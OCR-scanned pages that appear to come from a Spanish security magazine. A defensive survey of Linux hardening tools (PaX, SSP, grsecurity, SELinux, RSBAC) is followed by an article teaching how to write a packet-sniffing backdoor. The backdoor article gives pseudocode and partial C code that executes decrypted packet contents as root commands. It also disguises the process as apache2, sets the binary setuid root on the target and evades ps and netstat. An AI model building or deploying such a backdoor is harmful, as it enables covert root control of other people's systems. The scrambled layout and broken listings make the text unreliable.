char buff[10];

int var2;
int main(int argv, char *argc[])
char *p;

p = func(argc[l]);
exit (0);

El primero de estos métodos con-
siente en una mejor integracion de
PaX con el sistema operativo. Permite
también utilizar el asi llamado modo
suave de operacion, en el que todas
las funciones de proteccion estan
desactivadas por defecto y para utili-
zarlas es necesario activarlas expre-
samente desde el programa.

StackGuard

StackGuard es una extension del
compilador GCC. Fue desarrollado
por la empresa Immunix en el afio
1997. Las técnicas aplicadas en este
proyecto son tan interesantes que
durante la conferencia GCC 2003
Summit se propuso su utilizacion en
la versién basica del compilador.

Desafortunadamente, esto no se
llevé a cabo en las versiones 3.x ni
en la 4.0, debido a que en GCC 41
ya habia sido planeado el uso de me-
canismos de proteccion tomados de
SSP (ver mas adelante). El desarrollo
del proyecto ha sido suspendido, por
lo que es recomendable no tratarlo
mas que como curiosidad (por ello
no presentaremos aqui su proceso
de instalacion), pues se trata de la
primera herramienta que implemen-
t6 la proteccion de memoria del lado
de la aplicacién, convirtiéendose con
ello en punto de partida para otros
proyectos de este tipo.

Mecanismos de protecciéon
StackGuard utiliza el mecanismo del
canario (ver Recuadro Proteccion de

direcciones bajas

func () variable var2

func () variable buf

func () variable varl

func () |puntero de marco de la pila
func () direccién de retorno
func () argumento msg

func () argumento a

main () variable p

main () [puntero de marco de la pila

main () direccién de retorno

argumentos
de la funcién main ()

main ()

La pila crece en el sentido de las direcciones menores

direcciones altas

Tope de la pila
<>

»

direcciones bajas

variable var2 func ()
variable buf func ()
variable varl func ()
puntero de marco de la pila | func ()
canario func ()
direccién de retorno func ()
argumento msg func ()
argumento a func ()
variable p main ()
canario main ()

puntero de marco de la pila| main()

direccion de retorno main ()

argumentos

de la funcion main () kAl

direcciones altas

Figura 2. Proteccién de la pila con ayuda de StackGuard

direcciones bajas

func () variable var2

func () variable buf

func () variable var1

func () |puntero de marco de la pila
func () direccion de retorno
func () argumento msg

func () argumento a

main () variable p

main () [puntero de marco de la pila

main () direccion de retorno

argumentos
de la funcién main ()

main ()

La pila crece en el sentido de las direcciones menores

direcciones altas

Figura 3. Proteccién de la pila con SSP

la memoria en el compilador) para
proteger la memoria del proceso. Sin
embargo, esta técnica no garantiza
por si sola una proteccién completa.
El canario es colocado en un lugar
en el que puede proteger solamente
la direccion de retorno guardada en
el marco de la pila. Otros elementos

Tope de la pila
<>

»

direcciones bajas

copia a func ()
variable var2 func ()
variable var1 func ()
variable buf func ()
copia msg func ()
canario func ()
puntero de marco de la pila| func()
direccion de retorno func ()
argumento msg func ()
argumento a func ()
variable p main ()
canario main ()

puntero de marco de la pila | main ()

direccion de retorno main ()

argumentos

de la funcion main () | ™=+ 0

direcciones altas

del marco (las variables locales de la
funcion y el puntero al marco ante-
rior) no son protegidos.

La Figura 2 muestra la pila del
programa del Listado 1 antes y des-
pués de la aplicacion de StackGuard.
Como vemos en la parte derecha de
la figura, detras de cada direccion de
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retorno se ha insertado una variable
de control. Un ataque que dependa
de un desbordamiento del bufer var2
no puede tener éxito, pues provocaria
la modificacion de todos los campos
con direcciones mayores de memoria.
El cambio de la direccion de regreso
de la funcién func() sera, por tanto,
detectado, pero si el atacante decide
afectar sélo las variables bur y var1
y el puntero al marco de la pila, el pro-
grama seguira funcionando.

SSP

Stack-Smashing Protector (SSP), co-
nocido anteriormente como ProPolice,
es conceptualmente cercano a Stac-
kGuard, aunque mas desarrollado.
El creador y mantenedor de SSP es
Hiroaki Etoh. Actualmente SSP es una
extension de GCC, pero a partir de la
version 4.1 estara integrado con éste.

Mecanismos de protecciéon
Stack-Smashing Protector protege la
pila del proceso (direccion de retorno,
variables locales, argumentos de la
funcioén y puntero del marco) utilizando
tres técnicas. Cada una de ellas puede
ser activada o desactivada indepen-
dientemente de las otras durante la
compilacion del programa:

» variable de control (canario),

* modificacion del orden de las
variables,

» copiado de los argumentos.

La primera técnica funciona igual
que en StackGuard. El canario es
insertado antes del puntero al marco
de la pila. La segunda modifica el
orden en que las variables locales de
la funcion son puestas en la pila. Las
variables de texto, susceptibles a des-
bordamientos, son colocadas entre las
variables numéricas y una variable de
control. El desbordamiento de una de
ellas no causa dafos en las variables
locales. El ultimo mecanismo protege
los argumentos de la funcion, cuyas
copias son colocadas en la pila detras
de las variables locales y utilizadas en
lugar de los argumentos originales. El
uso simultaneo de estas tres técnicas
dificulta la aparicion de desbordamien-
tos de bufer en un programa protegi-

Control de acceso en los sistemas operativos

En los sistemas operativos mas populares se utilizan mecanismos de control de ac-
ceso basados en un modelo discrecional (ing. Discretional Access Control, o DAC).
Cada sujeto (usuario, proceso) posee control absoluto sobre los objetos (ficheros,
directorios, dispositivos) que le pertenecen. Puede cambiar a voluntad todos los
privilegios de acceso a sus recursos, modificarlos y eliminarlos.

Adicionalmente, existe en el sistema un superusuario (root), el cual cumple fun-
ciones de administrador. Posee privilegios ilimitados de acceso a todos los recur-
sos del ordenador y puede hacerlo practicamente todo. Asi pues, basta apoderarse
de la cuenta root para obtener acceso ilimitado al sistema.

En un modelo de acceso obligatorio (ing. Mandatory Access Control, o MAC),
el administrador aun tiene los mayores privilegios en el sistema operativo. Sin em-
bargo, es él quien determina las reglas de acceso aplicadas a todos los objetos. El
modelo MAC introduce, pues, una centralizacion del control de acceso, a diferencia
del modelo descentralizado DAC. Los usuarios tienen derechos limitados por la
politica en rigor y no poseen control absoluto sobre sus ficheros, directorios, etc.

El modelo MAC fue desarrollado para sistemas que requieren de un estrecho
control sobre la confidencialidad de los datos y es usado principalmente en sistemas
de caracter militar. Es interesante notar que la politica de acceso puede también incluir
al superusuario, el cual pierde parte de sus privilegios. De esta manera, si un intruso
logra obtener acceso a su cuenta, no podra, por ejemplo, copiar o modificar parte de los
datos (tales como paginas web). Los modelos DAC y MAC fueron presentados por pri-
mera vez en el documento TCSEC (Trusted Computer Security Evaluation Criteria), pu-
blicado por el Departamento de Defensa de los Estados Unidos de América en 1985.

Otro modelo popular de control de acceso se basa en el establecimiento de ro-
les (ing. Role-Based Access Control, o RBAC), el cual fue presentado en 1992 por
David Ferraiolo y Richard Kuhn, del Instituto Nacional de Estandares y Tecnologia
de los EEUU. En este modelo cada usuario obtiene uno o mas roles que determinan
los privilegios que poseeran todos los programas por él ejecutados. Las posibilida-
des de los usuarios pueden ser limitadas de manera similar al modelo MAC vy las
tareas del superusuario pueden ser repartidas entre varios usuarios.

De esta manera el modelo elimina el peligro relacionado con la obtencién por
parte de un atacante de acceso a la cuenta del superusuario o a alguno de los
procesos que funcionan con sus privilegios. Incluso si un ataque es llevado a cabo
exitosamente, el intruso no lograra obtener acceso a todo el sistema y a los datos
en él almacenados. Debemos recordar que el RBAC es un caso especial del MAC
y que ambos modelos permiten obtener efectos similares.

-

do. La Figura 3 muestra la pila de un
programa en el que se ha usado SSP.

Instalacion

Lainstalacion de SSP consiste en afia-
dir un parche al compi-lador GCC. El
programador obtiene cuatro opciones
adicionales: -fstack-protector, —fno-
stack-protector, -fstack-protector—
all 'y -fno-stack-protector-all. Estas
opciones permiten, respectivamente,
activar o desactivar la proteccion de la
pila y activar o desactivar la proteccion
de todas las funciones (no soélo de las
que utilizan arrays de caracteres).

Grsecurity

Grsecurity es un proyecto que fue
creado en febrero del afio 2001
y desarrollado hasta el dia de hoy
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por Brad Spengler, también conoci-
do como Spender. Al principio, grse-
curity era una version de Openwall
para los nucleos de la serie 2.4, pero
rapidamente evolucioné y se convir-
tio en una solucién independiente.
Hoy en dia se lo considera uno de los
mejores y mas simples mecanismos
de proteccion de sistemas Linux.

Mecanismos de proteccion

El proyecto combina las posibilidades
de Openwall y PaX de proteccion de
memoria, con un control de acceso
basado en roles (ver Recuadro Con-
trol de acceso en los sistemas ope-
rativos). Introduce restricciones para
los usuarios normales, aleatoriza-
cion de los mecanismos de soporte
de procesos y de red. Mejora la se-
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ACL vs. RBAC

El modelo de control de acceso obligatorio (MAC) puede ser realizado utilizando uno
de los dos mecanismos: las listas de control de acceso (ing. Access Control List,
0 ACL) y los roles (RBAC). Las listas de control de acceso determinan los privilegios
de usuarios concretos a recursos concretos. Desde el punto de vista del administrador
la configuracion de las ACL consiste en asignar a todos los usuarios sus correspon-

dientes derechos de acceso.

La gestion de roles consiste en que el administrador define grupos de usuarios se-
gun las tareas a realizar. Luego, establece los privilegios para cada grupo y sefiala los
usuarios pertenecientes a cada uno de ellos. Una implementacion simple de roles no
se diferencia practicamente en nada de los grupos de usuarios en las listas de control
de acceso. Soluciones mas avanzadas de RBAC ofrecen mayores posibilidades.

J

guridad de la funcion chroot, protege
contra condiciones de carrera en los
directorios temporales y extiende las
posibilidades de registro de los even-
tos ocurridos en el sistema.

Instalacion
Gsecurity es un parche para el nucleo.
Su instalacion no se diferencia mucho

de la manera descrita en los apartados
sobre Openwall y PaX, con la excep-
cién de que si queremos utilizar RBAC
debemos instalar una herramienta
de configuracion del sistema: gradm.
La gestién de la politica de control
de acceso es muy sencilla. Ademas,
gradm es capaz de aprender el com-
portamiento tipico de los usuarios, lo

~

Ejemplos de uso

Servidor
Los servidores ofrecen por lo general un conjunto determinado de servicios, por ejem-
plo correo electronico, paginas web, almacenamiento de ficheros o bases de datos. En
muchos casos un sistema cumple varios roles a la vez. Con frecuencia, de la adminis-
tracién de un servidor se encargan varias personas — una de ellas administra los servi-
cios de correo-e, otra introduce cambios en las paginas web o en las bases de datos.
En tales situaciones una buena solucion es la introduccién de un mecanismo de
control de acceso basado en roles y una separacion rigurosa de éstos, de manera que
cada administrador no tenga mayores privilegios que los indispensables para realizar
su trabajo. El administrador del sistema operativo no deberia, por ejemplo, poder mo-
dificar el contenido de las paginas web. Debido a que los servicios brindados por el
servidor deben ser accesibles a multiples usuarios (con frecuencia de manera publica,
en Internet), es muy importante prevenir la explotacion de errores conocidos mediante
la proteccién de memoria en el nucleo y en el compilador. Es recomendable aislar
cada una de las aplicaciones de servicios en su propio ambiente chroot. Las mejores
soluciones para este tipo de uso son por lo general los proyectos SSP y grsecurity o
RSBAC, pues ofrecen todos los mecanismos de proteccion necesarios en este caso.

Estacion de trabajo

Una estacion de trabajo puede ser compartida por varias personas. Esta, sin embargo,
no ofrece servicios a usuarios externos y casi siempre tiene un solo administrador. Por
ello las estaciones de trabajo pueden ser protegidas utilizando solamente proteccion
de memoria en el nucleo del sistema (PaX o grsecurity sin el mecanismo de control de
acceso) y limitando los privilegios del administrador con ayuda de LIDS.

Enrutador o cortafuegos

Los sistemas especializados, tales como enrutadores, cortafuegos y sistemas IDS
0 IPS son administrados por una sola persona. No ofrecen ningun servicio y frecuente-
mente funcionan soélo en la segunda capa TCP/IP, por lo que no suelen tener direccién
IP y se puede acceder a ellos solamente a través de una consola. En tales situaciones
no son necesarias medidas de proteccion adicionales. No obstante, si al sistema le
ha sido asignada una direccion IP y es administrado de manera remota, es razonable
utilizar PaX o grsecurity.

que permite la creacion automatica de
las reglas minimas de acceso.

LIDS

LIDS (Linux Intrusion Detection Sys-
tem) es otro parche para el kernel que
extiende los mecanismos basicos de
control de acceso. Los autores del
proyecto son Xie Huagang y Philippe
Biondi. La primera version de LIDS
fue creada para los nucleos de la se-
rie 2.2, pero actualmente se lo puede
también utilizar en las series 2.4 y 2.6.

Mecanismos de proteccion
LIDS permite aplicar control de acce-
so obligatorio (MAC con ACL). Los
privilegios se definen con ayuda del
paquete lidstools, que contiene las
herramientas lidsadmin y lidsconf. Su
configuracion consiste en determi-
nar los privilegios de los programas
a los recursos (ficheros, directorios,
funciones de red, etc.). Dado que la
declaracion manual de las reglas es
dificil y ocupa mucho tiempo, los au-
tores del proyecto incluyen en la docu-
mentacion algunas proposiciones de
configuracion tipica para aplicaciones
de servicios y herramientas de admi-
nistracion.

Instalacién

La instalacion de LIDS no se diferen-
cia significativamente de las ya des-
critas. Ademas, es necesario compilar
e instalar las herramientas del paquete
lidstools y crear una configuracion pre-
liminar de las reglas de acceso.

SELinux

El proyecto Security-Enhanced Linux
(SELinux) fue creado en el afio 2000
por la Agencia de Seguridad Nacio-
nal de los EEUU, en colaboracion
con algunas empresas especializa-
das en proteccion de informacion. Se
basa en las técnicas Flask, portadas
a Linux desde el sistema Flux. SE-
Linux era un parche para el nucleo,
pero durante los trabajos sobre Linux
2.5 fue integrado con éste.

Mecanismos de proteccion

SELinux permite aplicar un control
de acceso obligatorio basado en
roles. Tiene mas opciones que
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Tabla 2. Comparacién de los proyectos Openwall y PaX

Version del nucleo 2.0,2.2,24 2.2,2.4,26

Aleatorizacion de memoria Aleatorizacion de las direcciones de  Aleatorizacion de todos los segmentos de

las librerias compartidas memoria del proceso
Restriccion de tuberias S No
asignadas en directorios
temporales

Tabla 3. Comparacién de los proyectos grsecurity, LIDS, SELinux y RSBAC

Control de ac- Roles Roles Roles

ceso

Proteccion del Proteccion del direc-  La proteccion del sis-  La proteccién del Proteccién del direc-

sistema torio /proc, aleatori- tema es posible con la sistema es posible torio /proc, aleatori-
zacion de funciones  configuracion de listas con la configuraciéon  zacién de funciones
de red y procesos, de control de acceso  de listas de control de de red y procesos,
chroot reforzado, acceso chroot reforzado,
restriccion de en- restriccion de en-
laces, proteccion laces, proteccion
contra condiciones de contra condiciones
carrera, registro de de carrera, registro
eventos extendido de eventos extendido,

gestion de usuarios
en el nucleo

Tabla 4. Distribuciones seguras de Linux

Openwall

LIDS

RSBAC

grsecurity, pero también es mas de creacion automatica de politicas.  Las distribuciones que utilizan SELi-
dificil de configurar. El proyecto  Afortunadamente, existen proyectos nux ofrecen paquetes con reglas de
estda magnificamente documentado, independientes que ofrecen esta acceso predefinidas para las aplica-
pero no ofrece ningun mecanismo funcionalidad (por ejemplo polgen). ciones mas populares.
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Instalacion

SELinux se compone de cédigo en
el nucleo del sistema, la libreria lib-
selinux y los paquetes checkpolicy
y policycoreutils. Los kernels de la
serie 2.6 incluyen SELinux — basta
activar las opciones necesarias
y recompilar el nucleo. Si queremos
usar SELinux en un nucleo de la
serie 2.4 tendremos que aplicar el
parche nosotros mismos. En un sis-
tema protegido es necesario utilizar
versiones modificadas de algunas
herramientas, entre otras de: Is, cp,

psy login.

RSBAC

RSBAC (Rule Set Based Access
Control) es un proyecto bastante
amplio de extension de los meca-
nismos de control de acceso. La
version estable existe desde enero
del afio 2000.

Mecanismos de protecciéon
RSBAC ofrece funciones tales co-
mo:

* Gestién de usuarios a nivel del
nucleo del sistema. Las informa-
ciones sobre cuentas, grupos,
contrasefias y privilegios de ac-
ceso son almacenadas en el nu-
cleo, y no en los ficheros passwd,
shadow, group y gshadow. El uso

de esta funcién requiere sustituir
algunas librerias del sistema y el
mecanismo PAM.

* Restriccion de la funcion setuid ()
— los programas con el bit SUID
puesto deben ser autorizados.

« Control obligatorio de acceso
con posibilidad de elegir entre
listas de acceso y roles.

* Proteccién de la memoria de los
procesos (integracion con PaX),
mejoramiento de la seguridad del
mecanismo chroot, limite de uso
de los recursos del ordenador,
proteccion especial de ficheros,
control de acceso a las interfaces
de red, proteccién de la informa-
cion del directorio /proc y otros.

Instalacién

Para utilizar las posibilidades ofreci-
das por RSBAC es necesario modifi-
car el nicleo del sistema, ademas de
instalar los programas de administra-
cion accesibles en la pagina del pro-
yecto. También es imprescindible la
sustitucion de algunas herramientas
y librerias del sistema.

Una elecciodn dificil

No es dificil elegir la mejor solucion
de proteccién de la memoria de los
procesos en el nucleo o del lado del
compilador. Sin embargo, la eleccion
del mecanismo de extension del con-

~
En la Red
»  http://’www.openwall.com/linux/ — Openwall,
*  http://pax.grsecurity.net/— PaX,
*  http://www.trl.ibm.com/projects/security/ssp/— SSP,
*  http://www.grsecurity.org/ — grsecurity,
*  http://www.lids.org/— LIDS,
*  http.//www.nsa.gov/selinux/— SELinux,
»  http://www.mitre.org/tech/selinux/— generador de politicas para SELinux,
*  http://www.rsbac.org/— RSBAC.
J
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trol de acceso al sistema puede ser
considerada dificil.

SELinux viene instalado en las
versiones oficiales de los nucleos
de la serie 2.6, lo que garantiza una
buena integracién con el sistema
operativo. Puesto que es desarrolla-
do por la NSA, podemos esperar que
su desarrollo no sera subitamente
suspendido. Es un proyecto bien do-
cumentado, ademas de instalado por
defecto y preconfigurado en algunas
distribuciones (RedHat, Fedora).

Grsecurity es por su parte un
paquete facil de configurar. Ofrece
herramientas para la creacion auto-
matica de reglas de acceso y me-
canismos adicionales de proteccion
del sistema (no sélo MAC/RBAC).
Desafortunadamente, el sistema de
control de acceso en este proyecto no
esta muy bien documentado y ofrece
menores posibilidades que SELinux
y RSBAC. No obstante, grsecurity pa-
rece ser la mejor salida en situaciones
en las que se requiere de una instala-
cion y configuracion rapida y sencilla.

LIDS es funcionalmente similar
a grsecurity, aunque no tiene roles
ni ofrece tantos mecanismos de
proteccion del sistema operativo. Sin
embargo, esta mejor documentado
que grsecurity, y en la pagina del
proyecto se puede encontrar una
gran cantidad de ejemplos de listas
ACL para la mayoria de aplicaciones
populares.

La solucion mas completa es RS-
BAC, que es también compleja y dificil
de instalar y configurar. Aunque esta
muy bien documentado, su introduc-
cion al sistema puede no ser facil.

Algo para todos

Ninguna de las soluciones aqui
presentadas puede ser calificada
de mejor o peor que las demas. La
eleccion de una de ellas debe estar
basada en criterios tales como si el
proyecto satisface nuestras necesi-
dades y qué tan bueno es nuestro
entendimiento de los mecanismos
utilizados. La seguridad de nuestro
ordenador no solo dependera de la
efectividad de las herramientas, sino
también en gran parte de su correcta
y eficiente configuracién @
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Practica

Escribiendo backdoors
avanzados para Linux —
captura de paquetes

Brandon Edwards

Grado de dificultad
o

herramienta de demostracion.

na nueva técnica de backdoor que ha
l ' evolucionado por las necesidades de

esquivar un firewall local (como Netfil-
ter), sin incrustar cédigo ni hacer una conexion
inversa, es la captura o captacion de paquetes
0 packet sniffing. Este estilo de backdoor fun-
ciona capturando paquetes (posiblemente con
sefias especificas) para interpretar comandos
a ejecutar. Los paquetes que contienen los
comandos del backdoor no tienen por qué ser
aceptados por el sistema como una conexion,
so6lo deben ser vistos por la interfaz de red del
sistema de destino.

Hay muchas ventajas interesantes a la
hora de usar las técnicas de captacion de
paquetes para encontrar comandos (en lugar
de estar a la espera de conexiones o iniciar
conexiones). Capturando paquetes de la
interfaz de red, sin pedir un socket al siste-
ma, los paquetes son vistos por el backdoor,
estén o no filtrados localmente (por Netffilter,
por ejemplo). Ya que no tiene que aceptar
una conexion a través del sistema, nunca se
mostrara en netstat. Finalmente, como sélo
necesita capturar paquetes dirigidos hacia
el sistema (no a otros sistemas de la red),
puede mantener la interfaz de red en modo
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( A medida que se crean nuevas defensas frente a los backdoors,
el desarrollo de aplicaciones de intrusion se ve forzado a innovar
creando nuevas técnicas que mantienen el ritmo de una industria
de seguridad cada vez mas desarrollada. Una de estas técnicas
es la creacién de backdoors de captura (sniffing) de paquetes.
Vamos a aprender como funcionan escribiendo nuestra propia

no-promiscuo para evitar que se muestre en
los registros locales de sistema.

Diseiio del backdoor

Junto a las ventajas de los backdoors de cap-
tura de paquetes, hay algunos otros temas
interesantes, como la identificacion de qué
paquetes tenemos que interpretar para los
comandos, y como autentificarlos. También,
el envio de cadenas de comandos de texto
sencillo dentro de los paquetes puede revelar
la presencia de un backdoor a alguien que es-
té monitorizando el trafico de red — debe usar-

p
En este articulo aprenderas...

* como funciona la técnica de backdoor de captu-
ra (sniffing) de paquetes,
» coémo usar esta técnica en la practica.

Lo que deberias saber...

» fundamentos de redes TCP/IP en Linux,

» fundamentos de programacion en C,

» construcciéon de redes Linux a través de libp-
cap.
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Escribiendo un backdoor de captura de paquetes

Backdoors locales vs Backdoors remotos

Los backdoors locales son ejecutados localmente en el equipo de destino (de ahi su
nombre), y por lo tanto requieren que el atacante tenga algun tipo de acceso previo
al sistema afectado antes de la ejecucion. La mayor parte de los backdoors locales
son usados por intrusos con acceso a la linea de comandos del sistema en cues-
tion, utilizando el backdoor para aumentar sus privilegios. Aunque existen multiples
aproximaciones diferentes para el uso furtivo y la ocultaciéon de backdoors locales,
la necesidad de la presencia local del atacante conlleva un alto riesgo de ser descu-
bierto. Por esta razén, cada vez son mas comunes los backdoors remotos, en lugar
de aquellos que requieren acceso local.

Los backdoors remotos son accesibles a través de la red, pudiendo ser usados
desde el sistema del atacante sin necesidad de acceso previo (excepto la coloca-
cion inicial del backdoor, claro esta). Tradicionalmente, se accedia a estos backdo-
ors de forma remota a través de sockets TCP a la escucha de puertos altos, a los
que el usuario se podria conectar. Al establecer una conexion, puede que fuera
necesario autenticarse, aunque muchos backdoors permitian el acceso de forma in-
mediata. Este tipo de backdoor estandar, a la escucha de sockets, es muy primitivo
y es facil de detectar mediante un escaner remoto de puertos, pudiendo ser usado
arbitrariamente por otros hackers.

J

se alguna forma de codificacion
o0 encriptacion (incluso la simple
sustitucion de caracteres). Aunque
este método no es infalible, puede

que alguien esté a la busqueda
especifica de este método. Este
articulo examina la naturaleza de
este tipo de backdoor demostrando

ser muy dificil de detectar a no ser  como escribir uno.

Nuevas tacticas en los backdoors

A medida que la industria de seguridad ha ido progresando, los administradores
han aprendido a detectar y eliminar los backdoors basicos de escucha de sockets.
Instalando firewalls cuyas reglas bloqueen el trafico en los puertos que no son
esenciales para los servicios del sistema, la conectividad ante este tipo de bac-
kdoors se reduce considerablemente, cuando no es eliminada por completo. Para
hacer frente a estas defensas, se han desarrollado nuevas tacticas.

* La incrustacion de cddigo de backdoors dentro de daemons ya existentes,
con privilegios, y que estan a la escucha de sockets para esquivar a los fire-
walls. Un daemon con un backdoor incrustado escuchara y seguira prestando
servicio normal hasta que se reciba algun tipo de sefial de activacion, ante la
cual los privilegios se aumentaran (si es necesario) y activara una shell para
este socket. Una ventaja clave de este backdoor es que de ser detectado con
netstat o con un escaner de puertos, aparecera como un daemon estandar
a la escucha. Los riesgos de este método residen en la necesidad de sustituir
un binario protegido en el sistema objetivo, lo que podria ser facilmente detec-
tado por un IDS o un administrador con experiencia. Aunque nunca nos diéra-
mos cuenta de su existencia, si el daemon es actualizado en algin momento, el
binario maligno tiene todas las posibilidades de ser sobreescrito (por el nuevo
binario legitimo).

» Conectarse a la maquina de un hacker, en lugar de esperar conexiones en-
trantes, para evitar los firewalls. Esta tactica presupone que si un firewall esta
activo, sus politicas permiten por defecto el trafico de salida hacia puertos arbi-
trarios. Los firewalls que comprueban el estado de las conexiones (firewalls de
estado), permiten por lo general la entrada de trafico relativo a las conexiones
establecidas, por lo que esta técnica tendria éxito. Por desgracia, esta forma de
backdoor se muestra en los resultados de netstat (y de forma muy clara), por-
que sigue siendo una conexion gestionada por el sistema. Otro de los defectos
de este método es que se requiere un temporizador o unos activadores, para
determinar dénde y cuiando se tratara de establecer una conexién a través de
este método (conexion inversa).
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Objetivos del backdoor

Antes de escribir un programa, lo
mejor es definir los objetivos del
mismo. Una vez se hayan definido,
es sencillo trazar un boceto del
programa para después basar el c6-
digo sobre él. Los objetivos (metas)
a conseguir con nuestro backdoor
de captura de paquetes seran los
siguientes:

» Ejecutarse como un programa
setuid(), Obviamente para dar
a su usuario acceso root, pero
también porque se necesita tener
privilegios root para la captura de
paquetes.

e Capturar paquetes dirigidos a
un puerto seleccionado y po-
pular, como UDP 53 (usado por
DNS).

» Interpretar y descifrar cada paque-
te con algun tipo de autentificacion,
siendo lo ideal la encriptacion,
y ejecutar los contenidos autenti-
ficados del paquete como coman-
dos a la hora de la autentificacion.

 Tener alguna funcionalidad
rootkit adicional para evitar ser
detectados por herramientas
como ps.

Esqueleto del codigo

Habiendo identificado los objeti-
vos de este programa de ejemplo,
tenemos que buscar alguna forma
para ilustrar la estructura y la l6gica
del programa. Esto puede hacerse
de muchas formas, por ejemplo
a través de diagramas. Otra forma
de hacerlo es usando un pseudo-
codigo, que puede ser después
leido con facilidad y traducido
a codigo real.

El Listado 1 contiene el esquele-
to de un programa, esbozando c6-
mo cumplir los objetivos deseados.
Este boceto esta escrito al estilo
de los comentarios descriptivos de
codigo, e intenta ilustrar la légica
de todo el programa. Esta base se
usara como referencia a lo largo del
articulo para escribir el codigo real
del backdoor.

La estructura del programa
mostrada en el Listado 1 se divide
en dos segmentos: una funcién
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Funcién Principal del Programa

{

aumentar los privilegios

decretar filtro de paquetes

Hacer un bucle infinito

{

Funcién de Gestidén de Paquetes

{

de encabezamiento de backdoor

entonces volver

Listado 1. Esqueleto basico del codigo

enmascaramiento del nombre del proceso

inicializar variables y funciones de captura de paquetes

construir filtro de paquetes para el puerto, protocolo, etc., deseados

Llamar funcidn para capturar un paquete

Enviar paquete capturado a Funcién de Gestidén de Paquetes

verificar que el paquete estd pensado para backdoor
comprobando la existencia de una clave predefinida

->si la clave no esta presente entonces volver

Como el backdoor tiene una clave de encabezamiento,

desencriptar datos del paquete con una clave predefinida

Tras la desencriptacién, comprobar datos desencriptados
como comandos de backdoor comprobando la existencia
de un encabezamiento/pie de protocolo

->si los marcadores de encabezamiento/pie

no estan presentes entonces volver

como el paquete tiene clave de encabezamiento,
y es desencriptado de forma apropiada,
conteniendo marcadores apropiados, ejecutar los datos restantes

llamar al sistema para que ejecute los datos_desencriptados

principal, y una funcion de gestién
de paquetes llamada por la funcion
principal. En nain(), se enmas-
cara el nombre del proceso para
engafiar a cualquiera que ejecute
un programa como psS para ver
los procesos activos. Por razones
obvias, un atacante no querra que
un administrador vea un proceso
llamado backdoor, o silentdoor,
etc. Se aumentan los privilegios,
tanto para poder capturar paquetes
como para el usuario del backdo-
or. Lo siguiente es inicializar las
variables de captura de paquetes
y las funciones necesarias para
una sesion de captura de paque-
tes. Finalmente, se entra en un bu-
cle infinito de captura de paquetes,
enviando cada paquete capturado
a la funcion de gestion.
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La funcion de gestion de paque-
tes es donde se requiere la mayor
parte de la logica del programa,
porque tiene que descifrar qué
paquetes estan pensados para el
backdoor de entre todos los pa-
quetes con el mismo protocolo
y puerto. La forma mas eficiente de
hacer esto es incorporando algun
tipo de autentificacion, siendo lo
ideal la utilizacion de algun tipo de
mecanismo de encriptacion. En el
esquema del programa, el paquete
recibido es comprobado para ver si
esta presente la clave de encabe-
zamiento del backdoor (alguna fra-
se clave para tener la pista de que
el paquete es para el backdoor).
Si la clave de encabezamiento de
backdoor (backdoor-header-key) no
esta presente, la funcion de gestion

se reinicia inmediatamente para
que el programa esté preparado pa-
ra la captura del siguiente paquete.
Si la clave de encabezamiento esta
presente, entonces desencripta los
datos restantes con algun esquema
basico de desencriptacion.

A continuacion, los contenidos
del paquete desencriptado son
examinados para buscar alguna
cadena o sefal que muestre que
la desencriptacion ha tenido éxito.
Si los marcadores desencriptados
no estan presentes, el gestor se
reinicia. Esto es la ultima capa de
la autentificacion: si el paquete
tiene la clave de encabezamiento
y los contenidos del paquete se han
desencriptado adecuadamente, se
puede asumir con seguridad que
el paquete esta pensado para el
backdoor y que contiene un coman-
do. En este momento el resto del
paquete desencriptado es extraido
y ejecutado como comando del
sistema, completando el objetivo
del backdoor.

Escribiendo el
programa

Escribir un programa de captacion
de paquetes de cualquier tipo es
bastante sencillo, particularmente
si usamos la biblioteca libpcap.
Libpcap es una biblioteca que nos
proporciona un conjunto de funcio-
nes robustas y faciles de usar para
la captura y gestién de paquetes.
Este articulo presenta algunas de
las funciones basicas de libpcap
usandolas para escribir el back-
door, pero de ninguna manera cu-
bre libpcap por completo. Podemos
encontrar mayor documentacion
sobre las funciones de libpcap
y otras informaciones en http:/
www.tcpdump.org.

Ocultando el nombre del
proceso

Ocultar o enmascarar el nombre
del proceso es la primera meta
que contempla nuestro boceto de
programa, y sera la primera cosa
que resolvamos al escribir el codi-
go. El Listado 2 muestra los inicios
de una traduccién C del pseudo-
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codigo del Listado 1. Dentro de la
funcion main(), la primera linea de
codigo es strcpy(argv[0], MASK).
Esta llamada a una funcion copia
la cadena definida como wmask en
argvi0o]. Cuando argvi0o] cambie,
también lo haré el nombre base del
programa y el nombre de proceso
para el programa (para engafar
a quien use ps). En este caso, el
nombre se cambia para que se
parezca al nombre de proceso en
ejecucion de Apache.

Incrementando los privilegios
El Listado 2 muestra también el
cambio en los privilegios, a tra-
vés de la llamada a setuid(o)
Y setgid(0), para ajustar UID y GID
respectivamente. Este paso es el
propdsito principal de un backdoor.
Cada una de estas funciones toma
un argumento: el ID deseado. Co-
mo el valor ID de usuario y de grupo
cero es root, estas funciones dan al
programa privilegios efectivos de
root.

Los privilegios de root no son
tan solo para otorgar acceso total
al usuario, sino que también son
imprescindibles para capturar pa-
quetes. Por supuesto, para que
este programa pueda establecer
sus propios privilegios, el binario
compilado tiene que tener el suid
determinado en el sistema objetivo.
Ajustar este parametro setuid del
binario del backdoor y los permisos
necesarios es tan facil como ejecu-
tar estos comandos en el sistema
objetivo:

# chown root backdoor_binary

# chmod +s backdoor_binary

Captura de paquetes

Ha llegado el momento de escribir
las funciones pcap apropiadas pa-
ra capturar paquetes. El Listado 3
contiene el cédigo minimo nece-
sario para empezar una sesion de
captura de paquetes para el back-
door ejemplo. El primer paso de
este proceso es llamar a la funcion
pcap _ lookupnet (), que esta pensada
para relacionar pcap con lared y la
mascara de subred donde captura-

privilegios

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/types.h>
#include <pcap.h>

int main(int argc, char *argv[])
strcpy(argv[0], MASK);
setuid(0);

setgid(0);

/* iniciar captura de paquetes */

VAV

VARV

/* enmascarar el nombre de proceso */

Listado 2. Ocultando el nombre de proceso y aumentando los

#define MASK "/usr/sbin/apache2 -k start -DSSL"

/* cambiar el UID/GID a 0 (incrementar privilegios) */

/* capturar y enviar paquetes a gestor */

Listado 3. Captura de Paquetes

pcap_t
char

*sniff session;

char
struct bpf program filter;
bpf u_int32 net;

bpf u_ int32 mask;

/* error. terminado */
exit (0);

/* error. terminado */
exit (0);

pcap_setfilter (sniff session, &filter);

N

errbuf [PCAP_ERRBUF SIZE];
filter string[]="udp dst port 53";

if (-1 == pcap_lookupnet (NULL, &net, &mask, errbuf)

